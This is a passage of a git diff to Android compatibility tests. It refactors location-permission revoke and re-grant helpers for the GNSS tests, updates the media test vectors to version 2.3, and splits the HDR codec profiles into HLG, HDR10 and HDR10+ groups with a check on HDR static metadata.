+        ArrayList<String> packagesWithPermission = new ArrayList<>();
+        List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/0);
+
+        for (ApplicationInfo applicationInfo : packages) {
+            String packageName = applicationInfo.packageName;
+            if (packageName.equals(context.getPackageName())) {
+                // Don't include this test package.
+                continue;
+            }
+
+            if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+                final int flags;
+                uiAnimation.adoptShellPermissionIdentity(
+                        "android.permission.GET_RUNTIME_PERMISSIONS");
+                try {
+                    flags = pm.getPermissionFlags(
+                            permission, packageName, android.os.Process.myUserHandle());
+                } finally {
+                    uiAnimation.dropShellPermissionIdentity();
+                }
+
+                final boolean fixed =
+                        (flags
+                                & (PackageManager.FLAG_PERMISSION_USER_FIXED
+                                        | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+                                        | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED))
+                        != 0;
+                if (!fixed) {
+                    packagesWithPermission.add(packageName);
+                }
+            }
+        }
+        return packagesWithPermission;
+    }
+
+    public static List<String> revokePermissions(String permission) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        List<String> packages = getPackagesWithPermissions(permission);
+        for (String packageWithPermission : packages) {
+            Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+            uiAnimation.revokeRuntimePermission(packageWithPermission, permission);
+        }
+        return packages;
+    }
+
+    public static void grantLocationPermissions(String permission, List<String> packages) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        for (String packageToGivePermission : packages) {
+            Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+            uiAnimation.grantRuntimePermission(packageToGivePermission, permission);
+        }
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 81fdb5a..bac8721 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -77,10 +77,12 @@
 import android.location.cts.common.gnss.GnssMeasurementsCapture;
 import android.location.cts.common.gnss.GnssNavigationMessageCapture;
 import android.location.provider.ProviderProperties;
+import android.os.Build;
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.PowerManager;
 import android.os.SystemClock;
+import android.os.SystemProperties;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.DeviceConfig;
@@ -1216,6 +1218,8 @@
 
     @Test
     public void testRequestFlush_Gnss() throws Exception {
+        assumeTrue(SystemProperties.getInt("ro.product.first_api_level", 0)
+                >= Build.VERSION_CODES.S);
         assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
@@ -2006,4 +2010,4 @@
             automation.dropShellPermissionIdentity();
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
index d937498..e3d85e6 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
@@ -1,5 +1,8 @@
 package android.location.cts.gnss;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -12,7 +15,9 @@
 import android.location.cts.common.TestGnssStatusCallback;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
 import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.core.app.ApplicationProvider;
 
@@ -45,6 +50,7 @@
      * GnssStatus.
      */
     @Test
+    @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
     public void testGnssAntennaInfoValues() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
         assumeTrue(TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG));
@@ -53,22 +59,33 @@
         assumeTrue(
                 mTestLocationManager.getLocationManager().getGnssCapabilities().hasAntennaInfo());
 
-        // Registers GnssStatus Listener
-        TestGnssStatusCallback testGnssStatusCallback =
-                new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-        checkGnssChange(testGnssStatusCallback);
+        // Revoke location permissions from packages before running GnssStatusTest stops
+        // active location requests, allowing this test to receive all necessary Gnss callbacks.
+        List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+        List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
 
-        float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
-        List<GnssAntennaInfo> antennaInfos =
-                mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+        try {
+            // Registers GnssStatus Listener
+            TestGnssStatusCallback testGnssStatusCallback =
+                    new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+            checkGnssChange(testGnssStatusCallback);
 
-        assertThat(antennaInfos).isNotNull();
-        for (GnssAntennaInfo antennaInfo : antennaInfos) {
-            double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
-            assertWithMessage(
-                    "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
-                    carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
-                    antennaInfoFreqHz);
+            float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
+            List<GnssAntennaInfo> antennaInfos =
+                    mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+
+            assertThat(antennaInfos).isNotNull();
+            for (GnssAntennaInfo antennaInfo : antennaInfos) {
+                double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
+                assertWithMessage(
+                        "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
+                        carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
+                        antennaInfoFreqHz);
+            }
+        } finally {
+            // For each location package, re-grant the permission
+            TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+            TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
         }
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index f45e283..dfaf081 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -16,6 +16,9 @@
 
 package android.location.cts.gnss;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
 import android.location.Location;
 import android.location.LocationManager;
 import android.location.cts.common.GnssTestCase;
@@ -24,6 +27,8 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import junit.framework.Assert;
@@ -89,13 +94,25 @@
     /**
      * Tests the location update intervals are within expected thresholds.
      */
+    @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
         if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
-        for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
-            testLocationUpdatesAtInterval(fixIntervalMillis);
+        // Revoke location permissions from packages before running GnssStatusTest stops
+        // active location requests, allowing this test to receive all necessary Gnss callbacks.
+        List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+        List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+        try {
+            for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+                testLocationUpdatesAtInterval(fixIntervalMillis);
+            }
+        } finally {
+            // For each location package, re-grant the permission
+            TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+            TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
         }
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 76a89a9..7216703 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -4,10 +4,7 @@
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 
-import android.app.UiAutomation;
 import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
@@ -15,12 +12,10 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
-import java.util.ArrayList;
 import java.util.List;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -28,13 +23,11 @@
     private static final String TAG = "GnssStatusTest";
     private static final int LOCATION_TO_COLLECT_COUNT = 1;
     private static final int STATUS_TO_COLLECT_COUNT = 3;
-    private UiAutomation mUiAutomation;
 
   @Override
   protected void setUp() throws Exception {
     super.setUp();
     mTestLocationManager = new TestLocationManager(getContext());
-    mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
   }
 
   /**
@@ -49,8 +42,8 @@
 
     // Revoke location permissions from packages before running GnssStatusTest stops
     // active location requests, allowing this test to receive all necessary Gnss callbacks.
-    List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
-    List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+    List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
 
     try {
         // Register Gps Status Listener.
@@ -59,8 +52,8 @@
         checkGnssChange(testGnssStatusCallback);
     } finally {
         // For each location package, re-grant the permission
-        grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
-        grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
     }
   }
 
@@ -90,18 +83,31 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
+  @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not
     if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
-    SoftAssert softAssert = new SoftAssert(TAG);
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
-    validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
-    softAssert.assertAll();
+
+    // Revoke location permissions from packages before running GnssStatusTest stops
+    // active location requests, allowing this test to receive all necessary Gnss callbacks.
+    List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+    try {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        // Register Gps Status Listener.
+        TestGnssStatusCallback testGnssStatusCallback =
+            new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+        checkGnssChange(testGnssStatusCallback);
+        validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+        softAssert.assertAll();
+    } finally {
+        // For each location package, re-grant the permission
+        TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+    }
   }
 
   /**
@@ -155,55 +161,4 @@
       Log.i(TAG, "usedInFix: " + status.usedInFix(i));
     }
   }
-
-  private List<String> getPackagesWithPermissions(String permission) {
-    Context context = InstrumentationRegistry.getTargetContext();
-    PackageManager pm = context.getPackageManager();
-
-    ArrayList<String> packagesWithPermission = new ArrayList<>();
-    List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
-
-    for (ApplicationInfo applicationInfo : packages) {
-      String packageName = applicationInfo.packageName;
-      if (packageName.equals(context.getPackageName())) {
-        // Don't include this test package.
-        continue;
-      }
-
-      if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
-        final int flags;
-        mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
-        try {
-          flags = pm.getPermissionFlags(permission, packageName,
-                    android.os.Process.myUserHandle());
-        } finally {
-          mUiAutomation.dropShellPermissionIdentity();
-        }
-
-        final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
-            | PackageManager.FLAG_PERMISSION_POLICY_FIXED
-            | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
-        if (!fixed) {
-          packagesWithPermission.add(packageName);
-        }
-      }
-    }
-    return packagesWithPermission;
-  }
-
-  private List<String> revokePermissions(String permission) {
-    List<String> packages = getPackagesWithPermissions(permission);
-    for (String packageWithPermission : packages) {
-      Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
-      mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
-    }
-    return packages;
-  }
-
-  private void grantLocationPermissions(String permission, List<String> packages) {
-    for (String packageToGivePermission : packages) {
-      Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
-      mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
-    }
-  }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 1930c1a..1502f0c 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -5,6 +5,7 @@
 import android.location.cts.common.TestGnssStatusCallback;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.common.TestUtils;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
@@ -55,6 +56,11 @@
       return;
     }
 
+    // Network connection isn't required for automotive devices.
+    if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+      return;
+    }
+
     ensureNetworkStatus();
     if (hasCellularData()) {
       checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 410b5da..6dc4631 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-2.2" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-2.3" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 467b958..74f76c5 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index adbc1c4..00fd0c1 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
 All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 95ff70e..df67e307 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.2
+resLabel=CtsMediaV2TestCases-2.3
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index ae7782c..e8243f8 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -99,9 +99,13 @@
     public void setUp() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        ArrayList<MediaFormat> formatList = new ArrayList<>();
-        formatList.add(format);
-        checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+        if (IS_Q) {
+            Log.i(LOG_TAG, "Android 10: skip checkFormatSupport() for format " + format);
+        } else {
+            ArrayList<MediaFormat> formatList = new ArrayList<>();
+            formatList.add(format);
+            checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+        }
         mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
         setUpSurface(mActivity);
     }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
index 63b1b2c..5f17678 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
@@ -42,9 +42,6 @@
 
 @RunWith(Parameterized.class)
 public class CodecEncoderValidationTest extends CodecEncoderTestBase {
-    private static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
-    private static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
     private final boolean mUseHBD;
     // Key: mediaType, Value: tolerance duration in ms
     private static final Map<String, Integer> toleranceMap = new HashMap<>();
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 6ec5f47..8d7e86e 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -40,6 +40,7 @@
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.After;
 import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Before;
@@ -61,6 +62,8 @@
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import java.util.stream.IntStream;
 import java.util.zip.CRC32;
 
@@ -72,6 +75,7 @@
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -582,6 +586,7 @@
 }
 
 abstract class CodecTestBase {
+    public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
     public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
     // Checking for CODENAME helps in cases when build version on the development branch isn't
     // updated yet but CODENAME is updated.
@@ -599,6 +604,8 @@
         CODEC_DEFAULT, // Default codec must support
         CODEC_OPTIONAL // Codec support is optional
     }
+    static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
 
     static final String CODEC_PREFIX_KEY = "codec-prefix";
     static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
@@ -608,6 +615,9 @@
     static final Map<String, String> mDefaultDecoders = new HashMap<>();
     static final HashMap<String, int[]> mProfileMap = new HashMap<>();
     static final HashMap<String, int[]> mProfileSdrMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHlgMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10Map = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10PlusMap = new HashMap<>();
     static final HashMap<String, int[]> mProfileHdrMap = new HashMap<>();
     static final boolean ENABLE_LOGS = false;
     static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
@@ -633,20 +643,29 @@
     static final int[] AVC_SDR_PROFILES = new int[]{AVCProfileBaseline, AVCProfileMain,
             AVCProfileExtended, AVCProfileHigh, AVCProfileConstrainedBaseline,
             AVCProfileConstrainedHigh};
-    static final int[] AVC_HDR_PROFILES = new int[]{AVCProfileHigh10, AVCProfileHigh422,
-            AVCProfileHigh444};
+    static final int[] AVC_HLG_PROFILES = new int[]{AVCProfileHigh10};
+    static final int[] AVC_HDR_PROFILES = AVC_HLG_PROFILES;
     static final int[] AVC_PROFILES = combine(AVC_SDR_PROFILES, AVC_HDR_PROFILES);
-    static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0, VP9Profile1};
-    static final int[] VP9_HDR_PROFILES = new int[]{VP9Profile2, VP9Profile3,
-            VP9Profile2HDR, VP9Profile3HDR, VP9Profile2HDR10Plus, VP9Profile3HDR10Plus};
+    static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0};
+    static final int[] VP9_HLG_PROFILES = new int[]{VP9Profile2};
+    static final int[] VP9_HDR10_PROFILES = new int[]{VP9Profile2HDR};
+    static final int[] VP9_HDR10Plus_PROFILES = new int[]{VP9Profile2HDR10Plus};
+    static final int[] VP9_HDR_PROFILES =
+            combine(VP9_HLG_PROFILES, combine(VP9_HDR10_PROFILES, VP9_HDR10Plus_PROFILES));
     static final int[] VP9_PROFILES = combine(VP9_SDR_PROFILES, VP9_HDR_PROFILES);
     static final int[] HEVC_SDR_PROFILES = new int[]{HEVCProfileMain, HEVCProfileMainStill};
-    static final int[] HEVC_HDR_PROFILES = new int[]{HEVCProfileMain10,
-            HEVCProfileMain10HDR10, HEVCProfileMain10HDR10Plus};
+    static final int[] HEVC_HLG_PROFILES = new int[]{HEVCProfileMain10};
+    static final int[] HEVC_HDR10_PROFILES = new int[]{HEVCProfileMain10HDR10};
+    static final int[] HEVC_HDR10Plus_PROFILES = new int[]{HEVCProfileMain10HDR10Plus};
+    static final int[] HEVC_HDR_PROFILES =
+            combine(HEVC_HLG_PROFILES, combine(HEVC_HDR10_PROFILES, HEVC_HDR10Plus_PROFILES));
     static final int[] HEVC_PROFILES = combine(HEVC_SDR_PROFILES, HEVC_HDR_PROFILES);
     static final int[] AV1_SDR_PROFILES = new int[]{AV1ProfileMain8};
-    static final int[] AV1_HDR_PROFILES = new int[]{AV1ProfileMain10,
-            AV1ProfileMain10HDR10, AV1ProfileMain10HDR10Plus};
+    static final int[] AV1_HLG_PROFILES = new int[]{AV1ProfileMain10};
+    static final int[] AV1_HDR10_PROFILES = new int[]{AV1ProfileMain10HDR10};
+    static final int[] AV1_HDR10Plus_PROFILES = new int[]{AV1ProfileMain10HDR10Plus};
+    static final int[] AV1_HDR_PROFILES =
+            combine(AV1_HLG_PROFILES, combine(AV1_HDR10_PROFILES, AV1_HDR10Plus_PROFILES));
     static final int[] AV1_PROFILES = combine(AV1_SDR_PROFILES, AV1_HDR_PROFILES);
     static final int[] AAC_PROFILES = new int[]{AACObjectMain, AACObjectLC, AACObjectSSR,
             AACObjectLTP, AACObjectHE, AACObjectScalable, AACObjectERLC, AACObjectERScalable,
@@ -716,6 +735,19 @@
         mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_SDR_PROFILES);
         mProfileSdrMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
 
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HLG_PROFILES);
+
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10_PROFILES);
+
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10Plus_PROFILES);
+
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HDR_PROFILES);
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR_PROFILES);
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR_PROFILES);
@@ -757,16 +789,18 @@
         if (!areFormatsSupported(codecName, mime, formats)) {
             switch (supportRequirements) {
                 case CODEC_ALL:
-                    fail("format(s) not supported by codec: " + codecName + " for mime : " + mime);
+                    fail("format(s) not supported by codec: " + codecName
+                                    + " for mime : " + mime + " formats: " + formats);
                     break;
                 case CODEC_ANY:
                     if (selectCodecs(mime, formats, features, isEncoder).isEmpty())
-                        fail("format(s) not supported by any component for mime : " + mime);
+                        fail("format(s) not supported by any component for mime : " + mime
+                                        + " formats: " + formats);
                     break;
                 case CODEC_DEFAULT:
                     if (isDefaultCodec(codecName, mime, isEncoder))
                         fail("format(s) not supported by default codec : " + codecName +
-                                "for mime : " + mime);
+                                "for mime : " + mime + " formats: " + formats);
                     break;
                 case CODEC_OPTIONAL:
                 default:
@@ -1275,6 +1309,21 @@
         return height;
     }
 
+    byte[] loadByteArrayFromString(final String str) {
+        if (str == null) {
+            return null;
+        }
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+            tempArray[i++] = (byte) Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+
     boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
         if (inpFormat == null || outFormat == null) return false;
         String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1333,6 +1382,25 @@
         }
     }
 
+    void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
+        ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
+        assertNotNull("No HDR metadata present in format : " + fmt, hdrStaticInfo);
+        if (!hdrStaticRef.equals(hdrStaticInfo)) {
+            StringBuilder refString = new StringBuilder("");
+            StringBuilder testString = new StringBuilder("");
+            byte[] ref = new byte[hdrStaticRef.capacity()];
+            hdrStaticRef.get(ref);
+            byte[] test = new byte[hdrStaticInfo.capacity()];
+            hdrStaticInfo.get(test);
+            for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+                refString.append(String.format("%2x ", ref[i]));
+                testString.append(String.format("%2x ", test[i]));
+            }
+            fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
+                    "test static info : " + testString);
+        }
+    }
+
     public void setUpSurface(CodecTestActivity activity) throws InterruptedException {
         activity.waitTillSurfaceIsCreated();
         mSurface = activity.getSurface();
